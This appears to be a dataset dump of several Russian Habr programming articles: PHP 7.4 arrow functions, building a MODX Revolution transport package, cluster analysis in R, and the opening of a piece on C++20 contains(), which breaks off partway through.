text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# В PHP 7.4 войдут стрелочные функции (сокращенная запись анонимных функций)
Голосование по сокращенному синтаксису для функций завершено (51 "за", 8 "против").
Было:
```
$result = array_filter($paths, function ($v) use ($names) {
return in_array($v, $names);
});
```
Стало:
```
$result = array_filter($paths, fn($v) => in_array($v, $names));
```
Подробности под катом
Новый синтаксис такой:
Синтаксис
---------
```
fn(список_параметров) => возвращаемое_выражение
```
В сигнатуре стрелочной функции, как и в обычной функции, можно указывать типы, дефолты и прочее
```
fn(array $x) => $x;
fn(): int => $x;
fn($x = 42) => $x;
fn(&$x) => $x;
fn&($x) => $x;
fn($x, ...$rest) => $rest;
```
**Внимание!** Появилось новое ключевое слово `fn`, а это означает обратную несовместимость!
### Другие (отброшенные) идеи по синтаксису
Рассматривались варианты:
```
// невозможно реализовать, путаница с элементами массивов в некоторых случаях
($x) => $x * $y
// так можно сделать, но слишком много фигурных скобок, особенно для вложенных функций
{ ($x) => $x + $y }
// так сделано в языке Hack; но слишком сложно для текущего парсера
($x) ==> $x * $y
// нереализуемо, путаница с получением свойств объекта
($x) -> $x * $y
// сейчас парсер это понимает как $x-- > $x*$y
$x --> $x * $y
// так сделано в Rust, но читабельность спорна
|$x| => $x * $y
```
и некоторые другие
Замыкание переменных
--------------------
Важно! В отличие от предыдущих версий php, где надо было явно задавать замыкаемые переменные оператором **use**, стрелочная функция неявно замыкает на себе весь родительский скоуп.
Вот эквивалентные записи:
```
$y = 1;
$fn1 = fn($x) => $x + $y;
$fn2 = function ($x) use ($y) {
return $x + $y;
};
```
Переменная $this замыкается точно также, как и любая другая переменная. Если это нежелательное поведение, можно его запретить ключевым словом **static**.
```
class Test {
public function method() {
$fn = fn() => var_dump($this);
$fn(); // object(Test)#1 { ... }
$fn = static fn() => var_dump($this);
$fn(); // Error: Using $this when not in object context
}
}
```
Замыкание переменных в стрелочных функциях происходит по значению (в отличие от языка Go, например). Т.е. изменение переменных внутри функции не приведет к изменению переменной в родительском скоупе.
Выводы
------
Код стал значительно компактнее, и хотя не такой компактный, как в javascript и некоторых других языках, но всё же писать будет значительно приятнее:
```
$result = Collection::from([1, 2])
->map(fn($v) => $v * 2)
->reduce(fn($tmp, $v) => $tmp + $v, 0);
echo $result; //6
```
В отличие от некоторых других языков стрелочные функции в php не поддерживают несколько statements, разделенных через символ `;`, потому что это (по мнению авторов RFC) противоречит идее сокращенного синтаксиса. Возможно это будет пересмотрено в будущем.
Мы обязательно детально обсудим стрелочные функции в php в подкасте "[Цинковый прод](https://znprod.io/?utm_source=habrahabr&utm_campaign=450544)", так что не забудьте подписаться.
[Ссылка на RFC](https://wiki.php.net/rfc/arrow_functions) | https://habr.com/ru/post/450544/ | null | ru | null |
# Разработка дополнения для MODx Revolution. Часть 3
Это перевод [третьей части урока](http://rtfm.modx.com/display/revolution20/Developing+an+Extra+in+MODX+Revolution%2C+Part+III). Как я писал в [предыдущей статье](http://habrahabr.ru/blogs/modx/127722/), переводить вторую часть особого смысла нет, т.к. информации на русском по созданию страницы компонента уже достаточно. Поэтому я перескочил на третью.
В этом уроке будет рассказано как упаковать дополнение в [транспортный пакет](http://rtfm.modx.com/display/revolution20/Transport+Packages), который затем можно будет легко установить через «Управление пакетами». Упаковывать будем всё, что относится к, разработанному нами, дополнению: сниппет; файлы из core/components/ и assets/components/; действия; пункт в меню и пространство имен нашей CMP (страницы компонента); значения по умолчанию для сниппета с поддержкой интернационализации (i18n). А также добавим резольвер, который создаст пользовательские таблицы в БД.
Справка:
Для упаковки простых дополнений можно использовать [PackMan](http://rtfm.modx.com/display/ADDON/PackMan). Но в данном случае мы хотим сделать это самостоятельно и полностью разобраться что из себя представляет транспортный пакет.
#### Настройка директории для сборки
В конце урока каталог \_build будет выглядеть так:
Мы уже знакомы с файлами **build.config.php** и **build.schema.php** из первой части урока, а сейчас давайте просто посмотрим на другие части:
**data** — Здесь мы собираемся поместить все наши скрипты для упаковки данных пакета.
**resolvers** — Папка содержит [резольверы](http://rtfm.modx.com/display/revolution20/Transport+Packages#TransportPackages-AResolver) для транспортного пакета.
**build.transport.php** — Это главный скрипт упаковщика, который нужно будет запустить для создания пакета.
**setup.options.php** — Настройки установщика. Позже кратко рассмотрим для чего это нужно.
#### Создание скрипта упаковщика
Создадим файл **/www/doodles/\_build/build.transport.php** с таким содержинием:
```
php
$tstart = explode(' ', microtime());
$tstart = $tstart[1] + $tstart[0];
set_time_limit(0);
/* задаем имя пакета */
define('PKG_NAME','Doodles');
define('PKG_NAME_LOWER','doodles');
define('PKG_VERSION','1.0');
define('PKG_RELEASE','rc1');
/* задаем пути для упаковщика */
$root = dirname(dirname(__FILE__)).'/';
$sources = array(
'root' = $root,
'build' => $root . '_build/',
'data' => $root . '_build/data/',
'resolvers' => $root . '_build/resolvers/',
'chunks' => $root.'core/components/'.PKG_NAME_LOWER.'/chunks/',
'lexicon' => $root . 'core/components/'.PKG_NAME_LOWER.'/lexicon/',
'docs' => $root.'core/components/'.PKG_NAME_LOWER.'/docs/',
'elements' => $root.'core/components/'.PKG_NAME_LOWER.'/elements/',
'source_assets' => $root.'assets/components/'.PKG_NAME_LOWER,
'source_core' => $root.'core/components/'.PKG_NAME_LOWER,
);
unset($root);
/* override with your own defines here (see build.config.sample.php) */
require_once $sources['build'] . 'build.config.php';
require_once MODX_CORE_PATH . 'model/modx/modx.class.php';
$modx= new modX();
$modx->initialize('mgr');
echo '
```
'; /* used for nice formatting of log messages */
$modx->setLogLevel(modX::LOG_LEVEL_INFO);
$modx->setLogTarget('ECHO');
$modx->loadClass('transport.modPackageBuilder','',false, true);
$builder = new modPackageBuilder($modx);
$builder->createPackage(PKG_NAME_LOWER,PKG_VERSION,PKG_RELEASE);
$builder->registerNamespace(PKG_NAME_LOWER,false,true,'{core_path}components/'.PKG_NAME_LOWER.'/');
/* zip up package */
$modx->log(modX::LOG_LEVEL_INFO,'Packing up transport package zip...');
$builder->pack();
$tend= explode(" ", microtime());
$tend= $tend[1] + $tend[0];
$totalTime= sprintf("%2.4f s",($tend - $tstart));
$modx->log(modX::LOG_LEVEL_INFO,"\n
Package Built.
\nExecution time: {$totalTime}\n");
exit ();
```
```
Тут довольно много всего, но заметим, что это всё, что нужно для упаковки нашего пространства имен и создания файла транспортного пакета «doodles-1.0-rc1.zip» (только основа). Разберем подробно.
```
$tstart = explode(' ', microtime());
$tstart = $tstart[1] + $tstart[0];
set_time_limit(0);
/* задаем имя пакета */
define('PKG_NAME','Doodles');
define('PKG_NAME_LOWER','doodles');
define('PKG_VERSION','1.0');
define('PKG_RELEASE','rc1');
```
Во-первых мы собираемся получить время начала сборки, чтобы в конце вывести сколько времени потребовалось на сборку. Это совсем не обязательно, просто полезная информация. Затем мы указываем название, версию и тип релиза. Далее:
```
/* задаем пути для упаковщика */
$root = dirname(dirname(__FILE__)).'/';
$sources = array(
'root' => $root,
'build' => $root . '_build/',
'data' => $root . '_build/data/',
'resolvers' => $root . '_build/resolvers/',
'chunks' => $root.'core/components/'.PKG_NAME_LOWER.'/chunks/',
'lexicon' => $root . 'core/components/'.PKG_NAME_LOWER.'/lexicon/',
'docs' => $root.'core/components/'.PKG_NAME_LOWER.'/docs/',
'elements' => $root.'core/components/'.PKG_NAME_LOWER.'/elements/',
'source_assets' => $root.'assets/components/'.PKG_NAME_LOWER,
'source_core' => $root.'core/components/'.PKG_NAME_LOWER,
);
unset($root);
/* override with your own defines here (see build.config.sample.php) */
require_once $sources['build'] . 'build.config.php';
require_once MODX_CORE_PATH . 'model/modx/modx.class.php';
```
Здесь мы определяем пути, где найти все части нашего пакета для упаковки.
Наконец, мы подключили файл **build.config.php** и класс MODx. Теперь пришло время загрузить объект MODx:
```
$modx = new modX();
$modx->initialize('mgr');
echo '
```
'; /* used for nice formatting of log messages */
$modx->setLogLevel(modX::LOG_LEVEL_INFO);
$modx->setLogTarget('ECHO');
$modx->loadClass('transport.modPackageBuilder','',false, true);
$builder = new modPackageBuilder($modx);
$builder->createPackage(PKG_NAME_LOWER,PKG_VERSION,PKG_RELEASE);
$builder->registerNamespace(PKG_NAME_LOWER,false,true,'{core_path}components/'.PKG_NAME_LOWER.'/');
```
```
Здесь мы создаем объект modX и инициализируем контекст «mgr». Далее мы просим MODX быть более многословным в его сообщениях об ощибках во время работы нашего скрипта. Просим выводить сообщения на экран.
Затем загружаем класс «modPackageBuilder» и получаем два полезных метода createPackage и registerNamespace.
```
$modx->createPackage(key,version,release)
```
Тут задается имя нашего пакета (оно должно быть в нижнем регистре и не должно содержать точку или дефис), версию и тип релиза. Теперь modPackageBuilder автоматически упакует наше пространство имен:
```
$builder->registerNamespace(namespace_name,autoincludes,packageNamespace,namespacePath)
```
Первым параметром является имя пространства имен («doodles» в нашем случае). Вторым — массив классов, связанных с нашим пространством имен (нам это не нужно, поэтому устанавливаем false). Третим параметром мы говорим, что хотим упаковать пространство имен в пакет (устанавливаем в true). И третим параметром задаем путь до нашего пространства имен. Этот последний параметр является ключевым. Обратите внимание на плейсхолдер "{core\_path}", он будет заменен на реальный путь во время установки пакета, что позволит сделать пакет более гибким. Не нужно указывать пути жестко.
И вот несколько последних строк нашего упаковщика:
```
/* zip up package */
$modx->log(modX::LOG_LEVEL_INFO,'Packing up transport package zip...');
$builder->pack();
$tend= explode(" ", microtime());
$tend= $tend[1] + $tend[0];
$totalTime= sprintf("%2.4f s",($tend - $tstart));
$modx->log(modX::LOG_LEVEL_INFO,"\n
Package Built.
\nExecution time: {$totalTime}\n");
exit ();
```
Метод pack() говорит MODX, что нужно создать файл ZIP транспотного пакета. Остальные строки просто выводят время, которое потребовалось для сборки. Вот И всё. Если вы запустите
это в браузере (у меня адрес http ://localhost/doodles/\_build/build.transport.php), вы получите отладочную информацию и в папке **core/packages/** это:
Это наш транспортный пакет! Однако конкретно для нашего дополнения этого не достаточно.
#### Добавление данных
Мы хотим добавить в пакет наш сниппет в отдельной категории «Doodles». В файле **build.transport.php** добавим ниже registerNamespace такой код:
```
php
$category= $modx-newObject('modCategory');
$category->set('id',1);
$category->set('category',PKG_NAME);
/* добавляем сниппет */
//$modx->log(modX::LOG_LEVEL_INFO,'Packaging in snippets...');
//$snippets = include $sources['data'].'transport.snippets.php';
//if (empty($snippets)) $modx->log(modX::LOG_LEVEL_ERROR,'Could not package in snippets.');
//$category->addMany($snippets);
/* create category vehicle */
$attr = array(
xPDOTransport::UNIQUE_KEY => 'category',
xPDOTransport::PRESERVE_KEYS => false,
xPDOTransport::UPDATE_OBJECT => true,
xPDOTransport::RELATED_OBJECTS => true,
xPDOTransport::RELATED_OBJECT_ATTRIBUTES => array (
'Snippets' => array(
xPDOTransport::PRESERVE_KEYS => false,
xPDOTransport::UPDATE_OBJECT => true,
xPDOTransport::UNIQUE_KEY => 'name',
),
),
);
$vehicle = $builder->createVehicle($category,$attr);
$builder->putVehicle($vehicle);
```
Во-первых мы создаем объект modCategory (категория) с именем «Doodles». Обратите внимание, что мы не сохраняем ->save(), а только создаем объект. Далее у нас есть код для упаковки снипета, но пока проигнорируем его, мы вернемся к нему позже.
Затем мы создали большой массив атрибутов — атрибутов транспортного средства (Vehicle) категории. Что за транспортное средство? Ну, это транспортное средство, которое несет объект к транспортному пакету. Каждый объект (сниппет, пункт меню, категория и т.п.) должен иметь транспортное средство для «перевозки» в транспортный пакет. Таким образом мы создали один из них, но сначало присвоили несколько атрибутов, которые говорят MODX как это транспортное средство должно вести себя когда пользователь устанавливает пакет.
* **xPDOTransport::UNIQUE\_KEY => 'category'** — здесь мы говорим MODX, что уникальным ключём для этой категории является поле «category».
* **xPDOTransport::PRESERVE\_KEYS => false** — иногда мы хотим чтобы первичный ключ нашего объекта был «сохранен». Это полезно для не автоинкрементных ключей (PKs), таких как у меню, которое мы получим позже. Нашей категории это не нужно, поэтому устанавливаем в false.
* **xPDOTransport::UPDATE\_OBJECT => true** — это говорит MODX, что если категория уже существует, нужно обновить её нашей версией. Если установить в false, MODX просто пропустит категорию, если найдет её. Мы хотим чтобы категория обновилась.
* **xPDOTransport::RELATED\_OBJECTS => true** — это указывает связанные объекты (указываем объект сниппета). Наш случай хороший пример. Любые сниппеты, которые будут установлены, будут помещены в категорию.
* **xPDOTransport::RELATED\_OBJECT\_ATTRIBUTES** — Это ассоциативный массив с атрибутами связанных объектов. В нашем случае это только сниппет, но это могут быть плагины, TV-параметры (дополнительные поля), чанки и т.д.
Задаем свойства объекту сниппета:
```
'Snippets' => array(
xPDOTransport::PRESERVE_KEYS => false,
xPDOTransport::UPDATE_OBJECT => true,
xPDOTransport::UNIQUE_KEY => 'name',
),
```
Здесь мы говорим, что сохранять первичный ключ не требуется (аналогично категории). Затем мы хотим обновить объект, если он уже существует. И, наконец, мы говорим MODX, что поле «name» является первичным ключем.
Далее делаем так:
```
$vehicle = $builder->createVehicle($category,$attr);
$builder->putVehicle($vehicle);
```
Это упаковывает наш объект категории в небольшое транспортное средство с атрибутами, которые мы только что определили. Это и добавляет его в транспортный пакет. Готово! Наша категория упакована. Теперь добавим к ней сниппет.
#### Добавление сниппета
Идем дальше и создаем папку **/www/doodles/\_build/data/**. Теперь создаем в ней файл **/www/doodles/\_build/data/transport.snippets.php**. Поместите в него такой код:
```
php
function getSnippetContent($filename) {
$o = file_get_contents($filename);
$o = trim(str_replace(array('<?php','?'),'',$o));
return $o;
}
$snippets = array();
$snippets[1]= $modx->newObject('modSnippet');
$snippets[1]->fromArray(array(
'id' => 1,
'name' => 'Doodles',
'description' => 'Displays a list of Doodles.',
'snippet' => getSnippetContent($sources['elements'].'snippets/snippet.doodles.php'),
),'',true,true);
$properties = include $sources['data'].'properties/properties.doodles.php';
$snippets[1]->setProperties($properties);
unset($properties);
return $snippets;
```
Во-первых мы создали небольшой вспомогательный метод, который будет захватывать наши куски кода из файлов и убирать из него теги "php". Затем мы создаем объект сниппета. Помните: не нужно сохранять, только создаем. Настало время вернуться к массиву $snippets. Помните закомментированнную часть из файла <bbuild.transport.php? Вот эта часть:
```
/* добавляем сниппет */
$modx->log(modX::LOG_LEVEL_INFO,'Packaging in snippets...');
$snippets = include $sources['data'].'transport.snippets.php';
if (empty($snippets)) $modx->log(modX::LOG_LEVEL_ERROR,'Could not package in snippets.');
$category->addMany($snippets);
```
Убираем комментирование. Теперь наш сниппет загружается в транспортное средство категории. Теперь добавим свойства, которые мы упоминали ранее.
#### Добавление свойств сниппета
Создайте файл **/www/doodles/\_build/data/properties/properties.doodles.php** с таким содержанием:
```
php
$properties = array(
array(
'name' = 'tpl',
'desc' => 'prop_doodles.tpl_desc',
'type' => 'textfield',
'options' => '',
'value' => 'rowTpl',
'lexicon' => 'doodles:properties',
),
array(
'name' => 'sort',
'desc' => 'prop_doodles.sort_desc',
'type' => 'textfield',
'options' => '',
'value' => 'name',
'lexicon' => 'doodles:properties',
),
array(
'name' => 'dir',
'desc' => 'prop_doodles.dir_desc',
'type' => 'list',
'options' => array(
array('text' => 'prop_doodles.ascending','value' => 'ASC'),
array('text' => 'prop_doodles.descending','value' => 'DESC'),
),
'value' => 'DESC',
'lexicon' => 'doodles:properties',
),
);
return $properties;
```
Это PHP-представление свойств (параметров) сниппета по умолчанию. Давайте рассмотрим все его ключи:
* **name** — имя сниппета. Именно это имя указывается в вызове:
```
[[Doodles? &tpl=`rowTpl`]]
```
* **desc** — описание сниппета.
* **type** — это 'xtype' поля свойства. В настоящее время доступны 4 типа: «textfield» (текстовое поле), «textarea», «combo-boolean» (выпадающий список «Да/Нет») и «list» (список значений).
* **options** — используется только для списка значений. Это массив массивов. Каждый из них имеет два значений: 'text' (текст) и 'value' (значение). Текст выводится пользователю в списке, а значение сохраняется в БД. Текст может быть ключем из лексикона.
* **value** — значение свойства по умолчанию.
* **lexicon** — При желании, свойства могут быть i18n-совместимыми. Просто укажите название лексикона и MODX сделает остальное.
Итак, у нас есть свойства. Но как вы видите мы сделали ссылку на новый раздел лексикона «doodles:properties». Давайте создадим файл лексикона **/www/doodles/core/components/doodles/lexicon/en/properties.inc.php** с таким содержанием:
```
php
$_lang['prop_doodles.ascending'] = 'Ascending';
$_lang['prop_doodles.descending'] = 'Descending';
$_lang['prop_doodles.dir_desc'] = 'The direction to sort by.';
$_lang['prop_doodles.sort_desc'] = 'The field to sort by.';
$_lang['prop_doodles.tpl_desc'] = 'The chunk for displaying each row.';</code
```
Как вы можете видеть тут содержание подобно разделу «default».
Если вы запустите скрипт сейчас, то наша категория и сниппет со своими свойствами будет упакован в какет. Отлично! Но мы пропустили сами файлы нашего дополнения. Давайте исправим это.
#### Добавление файловых резольверов (Resolvers)
Давайте добавим в пакет папки с файлами **/www/doodles/core/components/doodles/** и **/www/doodles/assets/components/doodles/** нашего дополнения. Мы добавим файлы в наше транспортное средство категории с помощью т.н. файловых резольверов.
Итак, в **build.transport.php** сразу после добавления транспортного средства категории:
```
$vehicle = $builder->createVehicle($category,$attr);
```
добавим это:
```
$modx->log(modX::LOG_LEVEL_INFO,'Adding file resolvers to category...');
$vehicle->resolve('file',array(
'source' => $sources['source_assets'],
'target' => "return MODX_ASSETS_PATH . 'components/';",
));
$vehicle->resolve('file',array(
'source' => $sources['source_core'],
'target' => "return MODX_CORE_PATH . 'components/';",
));
```
Стоит разобрать два атрибута:
**source** — это путь, по которому можно найти файлы. Используем наши source\_assets и source\_core, которые были определены нами ранее.
**target** — это eval-строка, которая возвращает путь где будут находиться файлы нашего дополнения.
Первый параметр в resolve() говорит MODX, что это файловый резольвер. Мы рассмотрим подробнее резольверы позже в этом уроке.
Если вы запустите упаковщик сейчас, он упакует папки **doodles/core/** и **doodles/assets/**.
#### Добавление пункта меню и действия
Теперь давайте добавим пункт меню и действие для страницы компонента, которую мы сделали ранее
Добавим такой код:
```
$modx->log(modX::LOG_LEVEL_INFO,'Packaging in menu...');
$menu = include $sources['data'].'transport.menu.php';
if (empty($menu)) $modx->log(modX::LOG_LEVEL_ERROR,'Could not package in menu.');
$vehicle= $builder->createVehicle($menu,array (
xPDOTransport::PRESERVE_KEYS => true,
xPDOTransport::UPDATE_OBJECT => true,
xPDOTransport::UNIQUE_KEY => 'text',
xPDOTransport::RELATED_OBJECTS => true,
xPDOTransport::RELATED_OBJECT_ATTRIBUTES => array (
'Action' => array (
xPDOTransport::PRESERVE_KEYS => false,
xPDOTransport::UPDATE_OBJECT => true,
xPDOTransport::UNIQUE_KEY => array ('namespace','controller'),
),
),
));
$modx->log(modX::LOG_LEVEL_INFO,'Adding in PHP resolvers...');
$builder->putVehicle($vehicle);
unset($vehicle,$menu);
```
Тут всё аналогично транстпортному средству (vehicle) категории. Создается объект меню и связанные объект действия.
* **PRESERVE\_KEYS** установлено в true, т.к. меню имеют уникальные ключи и мы хотим сохранить ключ нашего пункта меню.
* **UNIQUE\_KEY** связанного объекта действия является массивом. Это говорит MODX, что нужно искать объект modAction, который имеет пространство имен 'namespace' => 'doodles' и контроллер 'controllers/index'.
Как вы, наверное, догадались, мы должны добавить файл **transport.menu.php**. Создадим его **/www/doodles/\_build/data/transport.menu.php**:
```
php
$action= $modx-newObject('modAction');
$action->fromArray(array(
'id' => 1,
'namespace' => 'doodles',
'parent' => 0,
'controller' => 'controllers/index',
'haslayout' => true,
'lang_topics' => 'doodles:default',
'assets' => '',
),'',true,true);
$menu= $modx->newObject('modMenu');
$menu->fromArray(array(
'text' => 'doodles',
'parent' => 'components',
'description' => 'doodles.desc',
'icon' => 'images/icons/plugin.gif',
'menuindex' => 0,
'params' => '',
'handler' => '',
),'',true,true);
$menu->addOne($action);
unset($menus);
return $menu;
```
Тут всё аналогично **transport.snippets.php**, за исключением того, что вызвали метод addOne() объекта menu. Обратите внимание, что все элементы массива fromArray() соответствуют полям в таблицах БД.
Итак, пункт меню и действие упакованы.
#### Добавление резольвера
Когда мы установим наше дополнение в системе, мы столкнемся с одной проблемой — таблицы БД modx\_doodles не будет существовать. Давайте напишем PHP резольвер, который будет запускаться после транстпортного средства. Добавим этот резольвер к нашему транспортному средству меню. Сразу после **$vehicle = $builder->createVehicle($menu)** добавим такой код:
```
$modx->log(modX::LOG_LEVEL_INFO,'Adding in PHP resolvers...');
$vehicle->resolve('php',array(
'source' => $sources['resolvers'] . 'resolve.tables.php',
));
```
Создадим файл **/www/doodles/\_build/resolvers/resolve.tables.php** с таким содержанием:
```
php
if ($object-xpdo) {
switch ($options[xPDOTransport::PACKAGE_ACTION]) {
case xPDOTransport::ACTION_INSTALL:
$modx =& $object->xpdo;
$modelPath = $modx->getOption('doodles.core_path',null,$modx->getOption('core_path').'components/doodles/').'model/';
$modx->addPackage('doodles',$modelPath);
$manager = $modx->getManager();
$manager->createObjectContainer('Doodle');
break;
case xPDOTransport::ACTION_UPGRADE:
break;
}
}
return true;
```
Отлично. Думаю тут всё понятно. Мы имеем конструкцию switch, благодаря которой можем выполнять задачи в зависимости от текущего действия. Указываем путь до нашей модели и вызываем метод **addPackage()**, который добавляет нашу xpdo схему (помните из первого урока?). Наконец мы запускаем **$modx->getManager()** и далее **$manager->createObjectContainer('Doodle')**. Этот метод дает MODX команду запустить SQL и создать таблицу в БД для нашего класса Doodle. Теперь можно убрать проверку на существование таблицы БД, как мы сделали в первой части (использование резольвера не обязательно, но это удобно). И в конце мы вернем true, чтобы MODX знал, что всё прошло гладко.
Теперь при установке пакета будет создаваться таблица нашего дополнения в БД.
#### Добавление файлов cangelog, readme, лицензии и параметров установки
Давайте создадим файл **readme.txt** в папке **docs/** с таким содержинием:
```
--------------------
Extra: Doodles
--------------------
Version: 1.0
A simple demo extra for creating robust 3rd-Party Components in MODx Revolution.
```
Также создайте файлы **license.txt** (содержит описание лицензии) и **changelog.txt** (лог изменений), если их ещё нет.
Теперь давайте вернемся в скрипт **build.transport.php** и перед **$builder->pack()** добавим такие строки:
```
$modx->log(modX::LOG_LEVEL_INFO,'Adding package attributes and setup options...');
$builder->setPackageAttributes(array(
'license' => file_get_contents($sources['docs'] . 'license.txt'),
'readme' => file_get_contents($sources['docs'] . 'readme.txt'),
'changelog' => file_get_contents($sources['docs'] . 'changelog.txt'),
'setup-options' => array(
'source' => $sources['build'].'setup.options.php',
),
));
```
Как видите, вызывается метод **setPackageAttributes()**, который устанавливает атрибуты нашему упаковщику. Также тут есть новый для нас массив 'setup-options'. У этого массива есть элемент с ключем 'source' — путь до PHP файла (подобно резольверу).
Создадим файл **/www/doodles/\_build/setup.options.php** с таким содержинием:
```
php
$output = '';
switch ($options[xPDOTransport::PACKAGE_ACTION]) {
case xPDOTransport::ACTION_INSTALL:
$output = '<h2Doodles Installer
Thanks for installing Doodles! Please review the setup options below before proceeding.
';
break;
case xPDOTransport::ACTION_UPGRADE:
case xPDOTransport::ACTION_UNINSTALL:
break;
}
return $output;
```
Знакомо выглядит, да? Этот кусок кода позволяет нам вывести «Параметры установки», когда пользователь будет устанавливать пакет. Сейчас мы только выводим сообщение, чтобы сказать людям «Спасибо» за установку нашего дополнения.
Здесь можно добавить элементы формы, которые будут выводиться при установке пакета и далее обрабатываться установщиком. Пример можно увидеть у компонента Quip: [github.com/splittingred/Quip/blob/develop/\_build/resolvers/setupoptions.resolver.php](https://github.com/splittingred/Quip/blob/develop/_build/resolvers/setupoptions.resolver.php).
На этом всё. Запустите упаковщик (http ://localhost/doodles/\_build/build.transport.php) и в папке **core/packages/** появится файл транспортного пакета **«doodles-1.0-rc1.zip»**. Этот файл можно загрузить в [репозиторий дополнений MODX](http://modx.com/extras/) и потом можно будет его установить через [«Управление пакетами»](http://rtfm.modx.com/display/revolution20/Package+Management).
Все файлы, созданного нами, упаковщика можно найти здесь: [github.com/splittingred/Doodles/tree/develop/\_build](https://github.com/splittingred/Doodles/tree/develop/_build). | https://habr.com/ru/post/132709/ | null | ru | null |
# Кластерный анализ в R
Кластерный анализ решает задачу разбиения множества на группы (кластеры) по принципу наибольшей однородности.
Подобные задачи возникают во множестве сфер деятельности, в частности это реклама и маркетинг. Ситуация, когда нужно выделить группы клиентов, максимально «похожих» друг на друга или определить локации, в которых преобладают определённые предпочтения.
Рассмотрю подобный пример и расскажу о способах решения вопроса средствами языка R.
Загружаю датасет из csv-файла. Задача следующая: разбить множества населённых пунктов, участвовавших в рекламной рассылке на сегменты по приоритету подписки на определённый журнал.
```
adv_dataframe <- read.csv('./advert_dataset.csv', header=T)
head(adv_dataframe)
---------------------------------------------------------------------------------------------------------------------------------
Город Всего_рассылок Кот_и_пёс Дача Увлекательная_геология Домашняя_выпечка Психология
КаслРок 30000 200 10 9000 11000 500
ТвинПикс 15000 750 5 7000 6000 1000
СайлентХилл 10000 4500 0 650 15 4200
Харлоу 5000 1 1100 10 260 400
Гатлин 3000 1800 20 18 20 1000
КейпКод 1200 16 800 2 60 10
```
Вычисляю %-ное отношение числа подписок к общему количеству рассылок по городу для каждого журнала:
```
adv_dataframe$'Кот_и_пёс_%' <- 100 * adv_dataframe$'Кот_и_пёс'/ adv_dataframe$'Всего_рассылок'
adv_dataframe$'Дача_%' <- 100 * adv_dataframe$'Дача'/ adv_dataframe$'Всего_рассылок'
adv_dataframe$'Увлекательная_геология_%'<-100*adv_dataframe$'Увлекательная_геология'/ adv_dataframe$'Всего_рассылок'
adv_dataframe$'Домашняя_выпечка_%' <- 100 * adv_dataframe$'Домашняя_выпечка'/ adv_dataframe$'Всего_рассылок'
adv_dataframe$'Психология_%' <- 100 * adv_dataframe$'Психология'/ adv_dataframe$'Всего_рассылок'
df4analysis <- subset(adv_dataframe, select = c('Город','Кот_и_пёс_%','Дача_%','Увлекательная_геология_%','Домашняя_выпечка_%','Психология_%'))
```
Стандартизирую данные основного датасета. И следом получаю матрицу расстояний (distance\_matrix).
```
pure_data <- df4analysis[,-c(1,1)]
means <- apply(pure_data,2,mean)
sds <- apply(pure_data,2,sd)
norm_ <- scale(pure_data,center=means,scale=sds)
distance_martix = dist(norm_)
```
**Рассмотрим иерархическую кластеризацию.**
Построю дендрограмму на основе полученной матрицы расстояний.
```
df4analysis.hclust<-hclust(distance_martix,method="average")
plot(df4analysis.hclust)
rect.hclust(df4analysis.hclust , k = 3, border = 2:6)
abline(h = 2.6, col = 'red')
```
Визуально можно выделить 3 кластера. Так же дополнительно в построении дендрограммы провожу линию на уровне 3 и выделяю кластеры (*rect.hclust*) разными цветами.
Добавляю в наш основной датасет столбец с признаком принадлежности к кластеру.
```
cut_ <- cutree(df4analysis.hclust, k = 3)
df4analysis.cut_ = factor(cut_)
```
Теперь посмотрим и проанализируем результат:
```
head(df4analysis)
----------------------------------------------------------------------------------------------------------------------------------------
Город Кот_и_пёс_% Дача_% Увлекательная_геология_% Домашняя_выпечка_% Психология_% cut_
КаслРок 0.6666667 0.03333333 30.0000000 36.6666667 1.6666667 1
ТвинПикс 5.0000000 0.03333333 46.6666667 40.0000000 6.6666667 1
СайлентХилл 45.0000000 0.00000000 6.5000000 0.1500000 42.0000000 2
Харлоу 0.0200000 22.00000000 0.2000000 5.2000000 8.0000000 3
Гатлин 60.0000000 0.66666667 0.6000000 0.6666667 33.3333333 2
КейпКод 1.3333333 66.66666667 0.1666667 5.0000000 0.8333333 3
```
Из получившегося распределения видно, что в кластере 1- два города с преобладанием новых подписок на журналы «*Увлекательная геология»* и «*Домашняя выпечка»*, в кластере 2- это «*Кот и пёс»* и «*Психология»* и в кластере 3- города с преобладанием подписок на журнал «*Дача»*.
**Рассмотрим применение метода *K*-средних** (***k-means***).
Воспользуюсь методом ***kmeans***, а также добавлю наименования для строк. После применяю метод ***fviz\_cluster*** библиотеки[***factoextra***](https://cran.r-project.org/web/packages/factoextra/index.html)для визуализации.
```
library(factoextra)
k_ <- kmeans(norm_, centers = 3, nstart = 25)
rownames(norm_) <- df4analysis$'Город'
fviz_cluster(k_, data = norm_)
```
Результат получается следующим:
В данном случае происходит разбиение множества населённых пунктов на те же 3 кластера (аналогично предыдущему).
Для исследования на оптимум разбиения множества, можно использовать метод ***fviz\_nbclust*** библиотеки[***factoextra***](https://cran.r-project.org/web/packages/factoextra/index.html).
```
fviz_nbclust(norm_, kmeans, method = <метод>)
```
В качестве параметра ***method*** могут выступать значения *"gap\_stat" (Gap static method)*, *"silhouette"(Silhouette method), "wss" (Elbow method)*. В качестве результата для анализа *fviz\_nbclust* выдаёт соответствующий параметру ***method*** график.
Тема кластеризации невероятно обширна, и в данной статье я познакомил вас с некоторыми основными моментами при решении задачи кластеризации. Вместе с тем, я хотел отметить, как невероятно обширен инструментарий языка R, позволяющий решать эти задачи, зачастую очень небольшим числом строк кода. | https://habr.com/ru/post/685040/ | null | ru | null |
# Небольшие, но важные функции
> ***Будущих студентов курса*** [***"C++ Developer. Professional"***](https://otus.pw/J4eF/) ***приглашаем принять участие в открытом уроке*** [***"Backend на современном С++".***](https://otus.pw/faDm/)*А пока делимся традиционным переводом материала.*
>
>
---
Начиная с C++20 в несколько стандартных контейнеров, включая `std::map`, `std::set` и `std::string`, были добавлены некоторые очень полезные функции для поиска. Необходимость в них существовала уже в течении достаточно долгого времени, и мне приятно видеть, что комитет наконец признал их важность. Надеюсь, это только начало серии замечательных дополнений.
#### Map и set
Типовая операция при работе с `map` — проверить, существует ли конкретный ключ. Как это сделать в C++17? Все просто:
```
std::map m{ {1, "one"}, {2, "two"}, {3, "three"} };
if (m.find(1) != m.end())
{
std::cout << "key found!\n";
}
```
Хотя это может быть достаточно просто, это отнюдь совсем не удобно для пользователя. По этой причине многие пишут свою собственную функцию `contains()`, которая принимает `map` и ключ и возвращает логическое значение, указывающее, содержит ли `map` ключ. В C++20 это больше не нужно, т.к. `std::map` имеет родной метод `contains()`.
```
